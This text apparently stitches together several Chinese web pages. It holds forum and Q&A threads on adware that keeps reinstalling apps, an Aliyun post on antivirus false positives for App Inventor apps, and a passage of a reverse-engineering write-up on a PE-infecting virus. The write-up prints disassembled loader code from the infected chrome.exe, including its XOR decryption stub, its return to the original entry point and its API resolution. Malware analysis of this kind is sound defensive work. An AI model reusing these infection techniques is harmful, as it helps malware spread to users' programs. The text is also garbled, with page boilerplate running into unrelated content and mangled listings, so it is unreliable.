手机应用未安装老是自动安装一个叫异步调用的应用,删除了又给我装上,想知道是病毒吗,怎么彻底删除?

求助啊!最近电脑老是自动安装软件,怎么清除啊_电脑吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:2,396,193贴子:
求助啊!最近电脑老是自动安装软件,怎么清除啊收藏
此次装完,c盘就会出现后面的四个图标,很不正常,每次删完又会出来,重装了几次系统后把所有的盘都格了,可过一阵子这几个图标又会出现,而且桌面上还会出现几个软件的快键,自动安装了搜狐影视,多米音乐,pps等软件这该怎么彻底灭了这顽固的毒啊,大神给支个招
电脑尽在1号店,人气尖货,全国联保,全国配送,品质保障!1号店买东西,省钱省力省时间!
不算病毒 应该是流氓软件吧?先用急救工具箱扫一遍 然后再360强制删除 把防止再次恢复勾上
哟个360彻底清干净再说
你可能都没卸载干净
装软件带的?
我的一样,你怎样解决的
楼主应该装软件的时候 安装的。别的软件会默认安装部分软件。把勾去了没?
我的也是,怎么解决。
应该是鬼影病毒 重装系统都没用 因为它在引导区 用金山试试 原来我也中过 我是用一个小软件才一百多k(具体什么名字我忘了)重写MBR就行了
机械狗病毒,重装系统之前先重置一下MBR再装。
系统漏洞多了,检测查杀一下就行了
楼主我电脑也是这样(╥﹏╥)(╥﹏╥)
你安装软件的时候出现小电脑一样的软件千万别装 保证你一用立马就重新装这些软件 ,我前段时间安装了一次结果任务管理器多了一个叫宝贝管家的我擦 任务结束都结束不掉
然后我查找他存在那个位置
里面强制删除,然后才结束掉了
那个顽固病毒 之后我查找安装程序时间把这一天安装的全部清楚掉才好的。
那个宝贝管家卡死人的
游戏都玩不了
楼主解决了吗?我也遇到这样的问题,求解救
换个纯净版的系统
然后重装一下就可以了。这是最彻底的解决方法。
我的也是不知道为什么,每天都在删除,第二天又来了而且这个系统我用了3年了从来没有出现过这种,就最近老是出现这种,又没有安装过软件,每天就看会电视,听会歌
登录百度帐号平板/笔记本
HiLink生态产品
终端云服务专区
最近手机半夜总有病毒软件自动非法安装!怎样彻底删除!
&登堂入室&
来自:浏览器
最近手机半夜总有病毒软件自动非法安装!怎样彻底删除!
这是无法彻底删除的病毒软件!!我从来没主动安装过此软件!!!!!最要命的是都无法彻底删除!5月初手机电池出问题,到华为售后换过新电池和做过系统恢复出厂设置,不知道和这有没有关系。强烈要求懂技术的人员帮忙指教怎样删除和彻底删除从来没有安装过的软件。
跪谢各位技术大神了!!图片是从来没有主动安装的软件,且无法彻底删除!!真**烦人
%2Fstorage%2Femulated%2F0%2FPictures%2FScreenshots%2FScreenshot_-04-10-25.jpeg (33.26 KB, 下载次数: 0)
04:29 上传
width:100%">
&花粉特种部队&
来自:浏览器
你好,建议你备份数据,然后双清手机试试。
操作方法:手机在关机状态下按住手机的音量上键 + 电源键(两键一起按)进入recovery界面,注意:在recovery模式中按音量上下键表示选择,按电源键表示确定。
选择恢复出厂设置和清除CACHE分区这两项然后再重启可以了。
盖章仅为特种队员间跟进识别,不代表结贴,如果有需要,请在我的跟帖点击“回复”我,这样论坛才会提醒我,谢谢!
特种部队并不是华为的工作人员,我们是一群玩机爱好者,来自花粉,服务花粉!
width:100%">
&自成一派&
来自:浏览器
双清就可以了
width:100%">
&登堂入室&
来自:浏览器
judas1 发表于
双清就可以了
怎么双清??求指教 谢谢
width:100%">
&炉火纯青&
来自:浏览器
系统重装刷个
width:100%">
&登堂入室&
来自:浏览器
<font color="#3yqs 发表于
系统重装刷个
啊!那我存手机上的东东就全没了≥﹏≤
width:100%">
&炉火纯青&
来自:浏览器
勇敢做自己2014 发表于
啊!那我存手机上的东东就全没了≥﹏≤
手机上不是有个备份啊,备份到自己买的sd卡就好了,不然系统升级和退回谁受得了
width:100%">
&已臻大成&
来自:浏览器
双清的同时将你的TF卡也格式化一下,记得备份好你的重要资料哦!
width:100%">
&登堂入室&
来自:浏览器
回复 8 楼那是不是把资料备份到卡上后取出来就行,这样不会格式tf卡了吧???
width:100%">
&自成一派&
来自:浏览器
勇敢做自己2014 发表于
回复 8 楼那是不是把资料备份到卡上后取出来就行,这样不会格式tf卡了吧??? ...
都取出来了,怎么会格式化TF卡
width:100%">
花粉特种部队荣耀勋章
1000万花粉
纪念花粉俱乐部注册花粉数超过1000万
诗意的春天老铁轨上来一组人像【圆明园】大国之殇一组杂拍7X全屏摄春福建南靖珠坑社黄花风铃木
花粉客户端
Make it Possible
Make your device special
华为云服务
Huawei cloud services
音乐播放器
Huawei Music
Huawei Vmall
关注花粉俱乐部
举报邮箱:
|关注花粉俱乐部:
Copyright (C)
华为软件技术有限公司 版权所有 保留一切权利手机中毒了,老是弹出一个什么宅男影院的软件叫我安装,怎么办?怎么_百度知道
手机中毒了,老是弹出一个什么宅男影院的软件叫我安装,怎么办?怎么
手机中毒了,老是弹出一个什么宅男影院的软件叫我安装,怎么办?怎么彻底的卸载清楚,有哪位大神知道,请告知
我有更好的答案
手机中毒了这样把手机的病毒查杀干净了以后才可以卸载的。腾讯手机管家是专门的杀毒软件,手机的病毒都是可以杀掉的。组合是找到这个病毒的来源才可以的,你可以看看最近是不是下载了什么不安全的软件。在手机上找到删除了就可以了,以后就不会中毒了。
采纳率:95%
3,打开设置——顽固木马专杀)2.如果能在存储目录中找到病毒,手动删除即可.以上方法都不行的话,比如腾讯手机管家等打开腾讯手机管家——安全防护(或深度查杀,4,可直接格式化SD卡.若找不到病毒的位置中毒引起的异常,查杀1.使用手机杀毒软件进行杀毒
手机中毒了你可以先卸载了这个手机软件,至于在哪里卸载的话我可以推荐一个应用程序上,你可以在应用宝上进行软件的卸载,应用宝上的软件卸载都是完全清除的,不会有任何残留的地方,你可以试试看怎么样。
为您推荐:
其他类似问题
&#xe675;换一换
回答问题,赢新手礼包&#xe6b9;
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。&nbsp>&nbsp
&nbsp>&nbsp
&nbsp>&nbsp
用App Inventor做出来的app安装到手机上,某些安全软件报病毒的问题
摘要:各位,今天有同学报,做出来的app安装到手机的时候,手机里的安全软件会报出病毒的提示。是“误报”,大家不用理会。AppInventor作出的应用均含有gray.app.inventor.a插件,该插件被绝大部分杀软识别为病毒。目前该问题尚未得到解决。该插件被误判为后台自动下载文件。目前360卫士和百度手机卫士均已解除误判。
各位,今天有同学报,做出来的app安装到手机的时候,手机里的安全软件会报出病毒的提示。
是“误报”,大家不用理会。
App Inventor作出的应用均含有gray.app.inventor.a插件,该插件被绝大部分杀软识别为病毒。目前该问题尚未得到解决。该插件被误判为后台自动下载文件。
目前360卫士和百度手机卫士均已解除误判。
以上是的内容,更多
的内容,请您使用右上方搜索功能获取相关信息。
若你要投稿、删除文章请联系邮箱:zixun-group@service.aliyun.com,工作人员会在五个工作日内给你回复。
云服务器 ECS
可弹性伸缩、安全稳定、简单易用
&40.8元/月起
预测未发生的攻击
&24元/月起
为您提供0门槛上云实践机会
你可能还喜欢
你可能感兴趣
阿里云教程中心为您免费提供
用App Inventor做出来的app安装到手机上,某些安全软件报病毒的问题相关信息,包括
的信息,所有用App Inventor做出来的app安装到手机上,某些安全软件报病毒的问题相关内容均不代表阿里云的意见!投稿删除文章请联系邮箱:zixun-group@service.aliyun.com,工作人员会在五个工作日内答复
售前咨询热线
支持与服务
资源和社区
关注阿里云
International[原创]对某病毒的一次完全逆向分析
对某病毒的一次完全逆向分析之旅
作者:hackerlzc at bbs.pediy.com
& & 一次从网上下载了个rar压缩包,双击之后winrar直接崩溃。当时心想,自己是不是太幸运了,竟然撞到了一个利用winrar漏洞的POC。然而测试发现,即使不打开rar文档,winrar同样一启动就崩溃。可见,不是winrar有漏洞。难道是由于前期对winrar的patch造成的?直接把备份的winrar还原回去,“暂时”能用了。又过了几天,由于某种原因,需要用Chrome浏览器,结果Chrome浏览器启动即崩溃,再打开winrar又崩溃,,,,这时,笔者开始怀疑是不是中招了。结果用IDA查了下Chrome主程序的反汇编,入口点代码异常。可见,确实中毒了,而且是PE感染型病毒。笔者用的是win7系统,一直稞奔。平时的安全性主要依赖UAC和“良好”的上网习惯.。由于对UAC的信任,料想病毒应该没有权限能够改写C:\Program Files文件夹中的程序,被感染的规模应该不大。然而这次真是大错特错了。笔者的OD一类的工具在D盘,用OD调试一下OD自身,结果更让人吃惊,OD也被感染了!这下可麻烦了,OD运行需要管理员权限的,这样一来,病毒同样有管理员权限,所以除系统目录还有点“特殊照顾”外,其它目录病毒都是可以改写的。试了试,结果证明推测是正确的。几乎所有安装的程序被感染,所有其它盘里保存的安装包和各类程序同样无一幸免。无奈之余,还是求助了一向鄙视的杀软,临时安装数字,扫了下,病毒数目有多少就不提了。花了好长时间处理完了,C盘的程序勉强恢复能用,然而其它盘里的程序多半处于残疾状态。因为不是专杀,而且现在多数安装包带自校验,所以备份的安装包几乎全部报废。更要命的是自己常用的工具箱根本没法处理。里边本来就是黑白不分,现在又有谁能识别清楚?一句话,损失太大了!
& & 平时自己就去那么几个站点,上网习惯还算可以,这病毒到底是从哪儿来的呢?仔细回想下,稍微有了些头绪。事发前些天笔者曾经从坛子里下载了个**黑客工具箱,打开一看是用音速启动管理的。然而,这个音速启动界面竟然触发UAC,需要管理员权限。好奇心使笔者当时没大注意这个,直接以管理员权限运行了。这应该是问题所在了。唉,好奇心真是害人啊。这里也顺便提醒一下大家,一定要当心,别有用心的人大有人在,有几个真正在无私奉献?笔者为了好奇心付出了惨重的代价,然而,能这么算了吗,血能白流吗?这病毒究竟想干什么?怎么干的?又是出于对以上几个问题的好奇,经过一段时间地折腾,本文诞生了。
& & 由于重点是逆向分析,练习逆向基本功,所以并未采用自动化分析工具。分析过程是自然式的,流水账式的,这样能尽量还原现场的思路,以便于大家拍砖。这是笔者第一次深入分析病毒,过程中难免会出现低智商问题,期待和大家一起交流进步,期待拍砖!
2 环境配置
反汇编:IDA 6.1
调试器:OD 1.1
调试环境:VMware + xp sp3(避免 ASLR 的干扰)
3 样本提取
附件中文件 chrome.exe.virus 是被感染过的 chrome 主程序。我们就从这个开始本次病毒分析之旅吧。
先用 IDA 载入,入口点部分代码如下:
.lif_:004D5000
.lif_:004D5000
public start
.lif_:004D5000 start:
.lif_:004D5000
.lif_:004D5001
.lif_:004D5002
.lif_:004D5007
.lif_:004D5008
(offset loc_4D5022+2)
.lif_:004D500D
.lif_:004D500E
.lif_:004D500F
.lif_:004D5014
.lif_:004D5015
.lif_:004D5016
.lif_:004D5016 loc_4D5016:
CODE XREF: .lif_:004D5026 j
.lif_:004D5016
dword ptr [edx+esi]
.lif_:004D5019
[esp], ecx
.lif_:004D501C
dword ptr [edx+esi]
.lif_:004D501F
.lif_:004D5020
.lif_:004D5021
.lif_:004D5022
.lif_:004D5022 loc_4D5022:
DATA XREF: .lif_:004D5008 o
.lif_:004D5022
.lif_:004D5025
.lif_:004D5026
short loc_4D5016
.lif_:004D5028
.lif_:004D5029
.lif_:004D502A
仔细观察这段代码,很显然从 004D5028 处以后为非正常的垃圾指令。我们从入口点004D5000 处开始分析代码,看看它究竟做了什么。
这两条指令等价于 mov ecx,52FD874Ch
同样,还有类似的变形。
dword ptr [edx+esi]
[esp], ecx
dword ptr [edx+esi]
这三条指令等价于
xor [edx+esi],ecx
等价于 sub esi,4
这样,我们可以把代码整理成更可阅读的形式,如下:
mov ecx,52FD874Ch
mov edx,4D5024h
mov esi,598h
xor [edx+esi],ecx
这是一段解密程序,ecx 是 key,edx 是数据基地址指针,esi 是循环变量。意思是从004D5024+4 至 004D 之间的每个双字与 key 进行异或运算,完成解密操作。为了提取解密后的代码,我们需要手动解密这里的数据。方法有多种,一是编写 IDA 脚本,二
是用调试器载入,动态解密后 dump 内存,其它方法随便。这里笔者采用的是方法二。采用方法二个人感觉有两个需要注意的地方。一、调试最好在 xp 里进行。因为 win7 开启了 ASLR ,对此处的解密代码有影响。二、在 004D5028 处下断点,不能是普通断点,而必须是硬件执行断点。原因是 004D5028 及以后的内存数据会被动态修改,int 3 断点会导致错误。
在 004D5028 处中断以后,就可以 dump 内存了。有效代码范围应该是 004D5000 至004D5024 + 0x598 。代码量不大,但为了简便,笔者直接 dump 了 004D5000 开始的一页(4KB)内存。内存文件见附件中的 chrome_004D5000.mem。后边将要反汇编该文件并进行更深入地分析。
4 分析病毒 Loader
用 IDA 打开 chrome_004D5000.mem 文件,在“load a new file”对话框里只有一个选项“Binary file ”。我们以二进制文件的形式反汇编这个内存 dump 文件。由于该 dump 文件中的代码是被加载到 0x004D5000 地址上执行的,所以我们需要在该对话框中指定“Loadingoffset”为 0x004D5000。其它选项不需要处理,直接点 OK。接着确认以 32bit 的方式反汇编。最后 IDA 打开了该 dump 文件。由于未指定入口点地址,我们需要在 004D5000 处按 C 键,将数据转换为代码(这段代码其实就是上节中分析的代码)。转换完成的部分代码如下:
seg000:004D5000org 4D5000h
seg000:004D5000
assume es:nothing, ss:nothing, ds:nothing, fs:nothing,gs:nothing
seg000:004D5000
seg000:004D5001
seg000:004D5002
seg000:004D5007
seg000:004D5008
(offset loc_4D5022+2)
seg000:004D500D
seg000:004D500E
seg000:004D500F
seg000:004D5014
seg000:004D5015
seg000:004D5016
seg000:004D5016 loc_4D5016:
CODE XREF:
seg000:004D5026 j
seg000:004D5016
dword ptr [edx+esi]
seg000:004D5019
[esp], ecx
seg000:004D501C
dword ptr [edx+esi]
seg000:004D501F
seg000:004D5020
seg000:004D5021
seg000:004D5022
seg000:004D5022 loc_4D5022:
DATA XREF:
seg000:004D5008 o
seg000:004D5022
seg000:004D5025
seg000:004D5026
short loc_4D5016
seg000:004D5028
sub_4D51AA
与上节的分析结果相比较,可以发现,解密后,从 004D5028 开始的指令已经发生明显的变化,更加“可读”了。同时,我们再留意一下“Functions window”,可以发现,IDA 识别出了以下 6 个函数。浏览一下反汇编窗口,不难发现,这 6 个函数加上一些“杂乱的”数据就是病毒 Loader 的全部内容了。因此,我们接下来的主要工作就是将这 6 个函数完全逆出来,分析出“杂乱”数据的含义,看看究竟这个 Loader 都做了些什么事情。
sub_4D51AA& & & &
sub_4D524A
sub_4D5356.
sub_4D53BE
sub_4D53F6
sub_4D5592
由于代码量不大,我们先查看一下这几个函数之间的调用关系。004D5028 处的一个 call将控制传递给了函数 sub_4D51AA,因此,函数 sub_4D51AA 是这里的“main”函数。我们就从 sub_4D51AA 开始分析这些函数的调用流程。右击 sub_4D51AA,选择“Chart of xref from”,得到的调用关系图如下:
值得注意的是,004D 至 004D51AA 之间未被 IDA 识别的部分应该是病毒Loader 的“数据段”。在病毒的代码中常常会有如下的写法:
call data_end
data_start:
这样,代码执行完 pop ebx 之后,ebx 实际上就指向 start_data,之后的代码会以 ebx 为基址寄存器去访问寻址“数据段”。而本病毒用了类似的方法。后边的分析会验证这个结论。而对于数据段中各字段含义的分析,目前我们没有更多的信息,只能依靠调试器反馈的信息和一些经验去不断地猜测,验证。更精确的信息,需要到病毒分析的后期才能确定出来。因此,在本节中,无法完全分析清楚数据段中各字段含义是很正常的。为了方便验证,我们需要一份未被感染的样本作为猜测验证的依据。附件中的 chrome.exe 是未被感染的样本。
接下来,我们以事物发展的自然顺序开始“流水账”式的分析,过程中会有“回溯”,注意导航性的文字。
分析函数 sub_004D51AA
seg000:004D51AA push ebp
seg000:004D51AB mov ebp, esp
seg000:004D51AD add esp, 0FFFFFEC0h
seg000:004D51B3 mov eax, ebp
;eax指向栈帧基址
seg000:004D51B5 add eax, 4
;eax指向函数返回地址
seg000:004D51B8 mov edx, ebp
;edx指向栈帧基址
seg000:004D51BA push ebx
seg000:004D51BB push esi
seg000:004D51BC push edi
seg000:004D51BD xor ebx, ebx
seg000:004D51BF mov edi, [eax]
;edi此时为函数返回地址,即004D
seg000:004D51C1 lea ecx, [ebp+var_38]
;ecx指向v_38
seg000:004D51C4 sub edi, 5
;edi 此时为004D5028,之后将以edi为基址寄存器寻址“数据段”。
seg000:004D51C7 mov eax, [edi+0Ch]
; 可见[edi+0Ch]处的值是个dword,我们将004Dc处的数据转换为dword,结果为 ; 0x4A2C0
seg000:004D51CA lea esi, [edi+84h]
;esi指向[edi+84h],edi+84h处是什么呢?去004D5028 + 0x84处看一下,结果发现有K e r n e l
;等字符。貌似这里esi指向字符串,而且还是系统dll名称。不妨直接把004D50AC处开始
;的区域转换为字符串看看。不断地使用A键,结果如下:
;seg000:004D50AC aKernel32_dll db 'Kernel32.dll',0
;seg000:004D50B9 aGettemppatha db 'GetTempPathA',0
;seg000:004D50C6 aGettempfilenam db 'GetTempFileNameA',0 ;seg000:004D50D7 aCreatefilea db 'CreateFileA',0
;seg000:004D50E3 aReadfile db 'ReadFile',0
;seg000:004D50EC aWritefile db 'WriteFile',0
;seg000:004D50F6 aSetfilepointer db 'SetFilePointer',0
;seg000:004D5105 aClosehandle db 'CloseHandle',0
;seg000:004D5111 aGettickcount db 'GetTickCount',0
;seg000:004D511E aGetmodulefilen db 'GetModuleFileNameA',0
;seg000:004D5131 aAdvapi32_dll db 'ADVAPI32.dll',0
;seg000:004D513E aRegopenkeyexa db 'RegOpenKeyExA',0
;seg000:004D514C aRegqueryvaluee db 'RegQueryValueExA',0 ;seg000:004D515D aRegclosekey db 'RegCloseKey',0
;seg000:004D5169 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
;seg000:004D519C aPinf db 'PINF',0 ;seg000:004D51A1 aInitiate db 'Initiate',0
;可见,esi现在可能指向字符串“Kernel32.dll”,也可能被用于字符串表基址。具体是什么,
;继续向下看。现在我们可以确定的是:edi+0x84(004D50AC)至edi+0x182(004D51AA)之
;间的内容为字符串表 seg000:004D51D0 add eax, [edi+8]
;edi + 0x8 是004D5030,[edi+8]处也是个dword,值为0x400000,而原eax的值上边已经分析出
;来了是0x4A2C0。而 0x400000最有可能的是exe模块的加载基址,而相应的,把基址加
;到eax上,显然这里的eax应该是个RVA了。具体这个RVA值是什么含义呢?猜测可能是
;入口点什么的。用调试器载入未被感染的样本chrome.exe,结果入口点是:0x44A2C0。可见,
;这个RVA值确实是原程序入口点的RVA。现在已经基本确定数据段中两个字段的含义:
;edi + 8: OEP的RVA
;edi + 0Ch:原程序加载基址(module base )
;此条指令完成后,eax 为OEP (原始入口点)
seg000:004D51D3 add edx, 4
;edx指向函数返回地址
seg000:004D51D6 mov [edx], eax
;修改函数返回地址为eax,而这里的eax正是OEP。也就是说,本函数返回后,程序将跳转
;至OEP执行,加载原始程序。
分析函数 sub_4D524A(调用部分)
seg000:004D51D8 push esi
;esi为字符串表/某特定字符串 基址
;参数2压栈
seg000:004D51D9 push edi
;edi 为数据段基址
;参数1压栈
seg000:004D51DA push ecx
;ecx为栈区变量v_38的地址,这里可能用作缓冲区基址,也可能指向具体变量
;参数0压栈
seg000:004D51DB call sub_4D524A
分析函数 sub_4D524A(实现部分)
seg000:004D524A sub_4D524A CODE XREF:
sub_4D51AA+31p
seg000:004D524A
seg000:004D524A arg_0 = dword ptr 8
;arg_0: 缓冲区基址,也可能指向具体变量
seg000:004D524A arg_4 = dword ptr 0Ch
;arg_4: 数据段基址
seg000:004D524A arg_8 = dword ptr 10h
;arg_8: 字符串表/某特定字符串 基址
seg000:004D524A
seg000:004D524A push ebp
seg000:004D524B mov ebp, esp
seg000:004D524D push ebx
seg000:004D524E push esi
seg000:004D524F push edi
seg000:004D5250 mov eax, [ebp+arg_4]
;eax = arg_4
seg000:004D5253 mov ebx, [ebp+arg_0]
;ebx = arg_0
seg000:004D5256 mov edi, [ebp+arg_8]
;edi = arg_8
seg000:004D5259 mov edx, [eax+20h]
seg000:004D525C mov ecx, [edx]
seg000:004D525E mov [ebx], ecx
;[ebx] =[ [eax+20h]]
seg000:004D5260 mov eax, [ebp+arg_4]
;eax = arg_4
seg000:004D5263 mov edx, [eax+20h]
seg000:004D5266 add edx, 4
seg000:004D5269 mov ecx, [edx]
seg000:004D526B mov [ebx+4], ecx
;[ebx+4] =[ [eax+20h]+4]
;由于出现了ebx + 4的字样,可见,arg_0是被当作缓冲区基址来使用的。现在可以确定arg_0
;为缓冲区基址,而不是某特定变量地址。
;类似地,[eax+20h]极可能是一个缓冲区地址,而eax为arg_4,数据段基址。
seg000:004D526E push edi
;edi为arg_8,字符串表/字符串 基址
;参数0压栈
seg000:004D526F call dword ptr [ebx]
;这个call不知道调用的是什么,须用调试器了。结果证明是调用得LoadLibraryA,参数
;为”Kernel32.dll”。同时,也可以确定 [arg_4 + 20h] + 0 的地方保存的是LoadLibraryA 的地址,
;arg_0 + 0 的地方保存LoadLibraryA地址。
seg000:004D5271 mov esi, eax
;esi 为kernel32.dll 的基址
seg000:004D5273 test esi, esi
seg000:004D5275 jz loc_4D5307
;如果kernel32.dll加载失败,函数直接返回0
seg000:004D527B mov eax, [ebp+arg_4]
seg000:004D527E push dword ptr [eax+24h]
seg000:004D5281 push esi
;esi为kernel32.dll模块基址
seg000:004D5282 call dword ptr [ebx+4]
; 这里又得用调试器了,发现调用的是GetProcAddress,参数为“GetTempPathW”
;可见,[arg_4 + 20h] +4 位置保存的是GetProcAddress 的地址
;arg_0 + 4 的地方保存GetProcAddress的地址
;arg_4 + 24h 处保存指向“GetTempPathW”字符串的指针
seg000:004D5285 mov edx, [ebp+arg_4]
seg000:004D5288 mov ecx, [edx+20h]
seg000:004D528B mov [ecx], eax
;[[arg_4+20h]+0] = GetProcAddress(“GetTempPathW”)
;[arg_4 + 20h] +0 的位置原来保存的是LoadLibraryA的地址,现在被替换为GetTempPathW的
seg000:004D528D mov eax, [ebp+arg_4]
seg000:004D5290 push dword ptr [eax+28h] seg000:004D5293 push esi
;esi为kernel32.dll的基址 seg000:004D5294 call dword ptr [ebx+4]
;调用GetProcAddress,参数为kernel32的基址和字符串“GetLastError”,其中“GetLastEor”来自于调试结果。
seg000:004D5297 mov edx, [ebp+arg_4]
seg000:004D529A mov ecx, [edx+20h]
seg000:004D529D add ecx, 4
seg000:004D52A0 mov [ecx], eax
;[[arg_4+20h]+4] = GetProcAddress(“GetLastError”)
;[arg_4 + 20h] +4 的位置原来保存的是GetProcAddress的地址,现在被替换为GetLastEr的地址
seg000:004D52A2 lea eax, [edi+0Dh]
;edi是arg_8,字符串/字符串表 基址,值为004D50AC。而0Dh正好为字符串“kernel32.dll”
;(包括结尾的0)的长度。所以这里edi+0dh是在寻址下一个字符串“GetTempPathA”
;可见,edi被当作字符串表基址去处理的。也就是说,arg_8是字符串表基址,而不是用于
;某个特定字符串的基址。
seg000:004D52A5 push eax
;eax指向字符串“GetTempPathA”
seg000:004D52A6 push esi
;esi为kernel32.dll的基址
seg000:004D52A7 call dword ptr [ebx+4]
;调用GetProcAddress
seg000:004D52AA mov [ebx+8], eax
;[arg_0 + 8 ] = GetProcAddress(“GetTempPathA”)
;arg_0 + 8 的地方保存GetTempPathA的地址
seg000:004D52AD lea edx, [edi+1Ah]
seg000:004D52B0 push edx
seg000:004D52B1 push esi
seg000:004D52B2 call dword ptr [ebx+4]
seg000:004D52B5 mov [ebx+0Ch], eax
;arg_0 + 0ch 的地方保存GetTempFileNameA的地址
seg000:004D52B8 lea ecx, [edi+2Bh]
seg000:004D52BB push ecx
seg000:004D52BC push esi
seg000:004D52BD call dword ptr [ebx+4]
seg000:004D52C0 mov [ebx+10h], eax
;arg_0 + 10h 的地方保存CreateFileA的地址
seg000:004D52C3 lea eax, [edi+37h]
seg000:004D52C6 push eax
seg000:004D52C7 push esi
seg000:004D52C8 call dword ptr [ebx+4]
seg000:004D52CB mov [ebx+14h], eax
;arg_0 + 14h 的地方保存ReadFile的地址
seg000:004D52CE lea edx, [edi+40h]
seg000:004D52D1 push edx
seg000:004D52D2 push esi
seg000:004D52D3 call dword ptr [ebx+4]
seg000:004D52D6 mov [ebx+18h], eax
;arg_0 + 18h 的地方保存WriteFile的地址
seg000:004D52D9 lea ecx, [edi+4Ah]
seg000:004D52DC push ecx
seg000:004D52DD push esi
seg000:004D52DE call dword ptr [ebx+4]
seg000:004D52E1 mov [ebx+1Ch], eax
;arg_0 + 1ch 的地方保存SetFilePointer的地址
seg000:004D52E4 lea eax, [edi+59h]
seg000:004D52E7 push eax
seg000:004D52E8 push esi
seg000:004D52E9 call dword ptr [ebx+4]
seg000:004D52EC mov [ebx+20h], eax
;arg_0 + 20h 的地方保存CloseHandle的地址
seg000:004D52EF lea edx, [edi+65h]
seg000:004D52F2 push edx
seg000:004D52F3 push esi
seg000:004D52F4 call dword ptr [ebx+4]
seg000:004D52F7 mov [ebx+24h], eax
;arg_0 + 24h 的地方保存GetTickCount的地址
seg000:004D52FA lea ecx, [edi+72h]
seg000:004D52FD push ecx
seg000:004D52FE push esi
seg000:004D52FF call dword ptr [ebx+4]
seg000:004D5302 mov [ebx+28h], eax
;arg_0 + 28h 的地方保存GetModuleFileNameA的地址
seg000:004D5305 jmp short loc_4D530B
;去4D530B继续
seg000:004D5307 ; --------------------------------------------------------------------------- seg000:004D5307
seg000:004D5307 loc_4D5307: ; CODE XREF:
sub_4D524A+2Bj
seg000:004D5307 xor eax, eax
seg000:004D5309 jmp short loc_4D534C s
eg000:004D530B ; ---------------------------------------------------------------------------
seg000:004D530B
seg000:004D530B loc_4D530B: ; CODE XREF:
sub_4D524A+BBj
seg000:004D530B lea edx, [edi+85h] seg000:004D5311 push edx seg000:004D5312 call dword ptr [ebx]
seg000:004D5314 mov esi, eax
;esi = LoadLibraryA(“ADVAPI32.dll”);
;esi仍然为模块基址
seg000:004D5316 test esi, esi
seg000:004D5318 jz short loc_4D5346
;模块加载失败,函数直接返回0
seg000:004D531A lea eax, [edi+92h]
seg000:004D5320 push eax
seg000:004D5321 push esi
seg000:004D5322 call dword ptr [ebx+4]
seg000:004D5325 mov [ebx+2Ch], eax
;arg_0 + 2ch 的地方保存RegOpenKeyExA的地址
seg000:004D5328 lea edx, [edi+0A0h]
seg000:004D532E push edx
seg000:004D532F push esi
seg000:004D5330 call dword ptr [ebx+4]
seg000:004D5333 mov [ebx+30h], eax
;arg_0 + 30h 的地方保存RegQueryValueExA的地址
seg000:004D5336 add edi, 0B1h
;直接调整edi指向字符串“RegCloseKey”
seg000:004D533C push edi
seg000:004D533D push esi seg000:004D533E call dword ptr [ebx+4] seg000:004D5341 mov [ebx+34h], eax
;arg_0 + 34h 的地方保存RegCloseKey的地址
seg000:004D5344 jmp short loc_4D534A
;处理成功完成,函数返回1。
seg000:004D5346 ; --------------------------------------------------------------------------- seg000:004D5346
seg000:004D5346 loc_4D5346: ; CODE XREF:
sub_4D524A+CEj
seg000:004D5346 xor eax, eax
seg000:004D5348 jmp short loc_4D534C
seg000:004D534A ; --------------------------------------------------------------------------- seg000:004D534A
seg000:004D534A loc_4D534A: ; CODE XREF:
sub_4D524A+FAj
seg000:004D534A mov al, 1
seg000:004D534C
seg000:004D534C loc_4D534C: ; CODE XREF:
sub_4D524A+BFj
seg000:004D534C ; sub_4D524A+FEj
seg000:004D534C pop edi
seg000:004D534D pop esi
seg000:004D534E pop ebx
seg000:004D534F pop ebp
seg000:004D5350 retn 0Ch
seg000:004D5350 sub_4D524A endp
到此,函数 sub_4D524A 的分析就完成了。很明显,该函数的主要作用是导入病毒需要的一些 API 函数入口地址。在 idb 文件中,笔者将该函数重命名为 ImportMyFunc。现在依据分析过程中红色的文字,我们还可以比较准确地确定调用此函数时传入的三个参数的意义。
esi:字符串表基址
[edi+20h]:一个指向函数地址表的指针,该表的前二个元素分别为 LoadLibraryA 和
GetProcAddress 的地址。过程中分别被替换为 GetTempPathW 和 GetLastError
[edi+24h]:指向字符串“GetTempPathW”
[edi+28h]:指向字符串“GetLastError”
ecx:缓冲区基址(指向 v_38),具体被用作函数地址表基址(每个元素大小为双字)
分析函数 sub_004D51AA
seg000:004D51E0 test al, al
seg000:004D51E2 jz short loc_4D5242
;如果sub_4D524A 的返回值为 0(失败),则退出病毒体,控制传递给OEP
分析函数 sub_004D5356(调用部分)
seg000:004D51E4 push esi
;esi为字符串表指针 ;参数2压栈
seg000:004D51E5 lea eax, [ebp+var_38]
seg000:004D51E8 push eax
;eax 为函数地址表指针
;参数1压栈
seg000:004D51E9 lea edx, [ebp+var_140]
seg000:004D51EF push edx
;edx 指向v_140,由于v_140还未被初始化,猜测v_140应该是一个接收数据的变量或者
;或者缓冲区,这要等到sub_4D5356的函数体分析完成后才能确定
;参数0压栈
seg000:004D51F0 call sub_4D5356
分析函数 sub_004D5356(实现部分)
seg000:004D5356 var_8 = dword ptr -8
seg000:004D5356 var_4 = dword ptr -4
seg000:004D5356 arg_0 = dword ptr 8
;arg_0 : 指向某变量/缓冲区的指针
seg000:004D5356 arg_4 = dword ptr 0Ch
;arg_4:函数地址表指针
seg000:004D5356 arg_8 = dword ptr 10h
;arg_8:字符串表指针
seg000:004D5356
seg000:004D5356 push ebp
seg000:004D5357 mov ebp, esp
seg000:004D5359 add esp, 0FFFFFFF8h
seg000:004D535C lea eax, [ebp+var_4]
;eax指向v_4
seg000:004D535F push ebx
seg000:004D5360 push esi
seg000:004D5361 push edi
seg000:004D5362 xor ebx, ebx
seg000:004D5364 mov edi, [ebp+arg_8]
;edi :字符串表指针
seg000:004D5367 mov esi, [ebp+arg_4]
;esi:函数地址表指针
seg000:004D536A mov [ebp+var_8], 106h
;v_8 = 0x106
seg000:004D5371 push eax
;eax为指向v_4的指针
;参数4压栈
seg000:004D5372 push 20019h
;参数3 ( 0x20019)压栈
seg000:004D5377 lea edx, [edi+0BDh]
;edx = edi + 0xbd,查字符串表可以确定此时的edx指向字符串 ; “Software\Microsoft\Windows\CurrentVersion\Explorer”
